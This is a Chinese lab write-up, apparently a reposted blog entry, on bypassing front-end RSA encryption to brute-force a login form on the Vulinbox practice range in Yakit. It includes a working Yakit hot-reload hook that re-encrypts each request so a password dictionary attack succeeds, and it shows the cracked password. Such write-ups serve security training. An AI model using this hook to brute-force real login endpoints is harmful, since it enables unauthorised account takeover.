本文是高级前端加解密与验签实战的第5篇文章,本系列文章实行靶场为Yakit里自带的Vulinbox靶场,本文报告的是绕过前端RSA加密来爆破登录。
分析
generateKey函数用来生成随机的RSA公私钥
加密的格式如下:
- {"username":"admin","password":"123456","age":"20"}
复制代码 对数据进行RSA加密,请求包格式:
热加载
这是本人写的Yakit热加载代码,通过beforeRequest hook请求包,调用encrypt函数进行加密,终极实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。- encrypt = (packet) => {
- //生成RSA密钥
- publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
- //base64编码
- publicKeyBase64 = codec.EncodeBase64(publicKey)
- privateKeyBase64 = codec.EncodeBase64(privateKey)
- body = poc.GetHTTPPacketBody(packet)
- data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
- data = codec.EncodeBase64(data)
-
- //处理换行符
- publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
- privateKey = str.ReplaceAll(privateKey, "\n", r"\n")
- //构造请求体
- body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
-
- return string(poc.ReplaceBody(packet, body, false))
- }
- //发送到服务端修改数据包
- beforeRequest = func(req){
- return encrypt(req)
- }
复制代码 结果:
利用字典爆破,爆破成功,可以看到密码为admin123。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |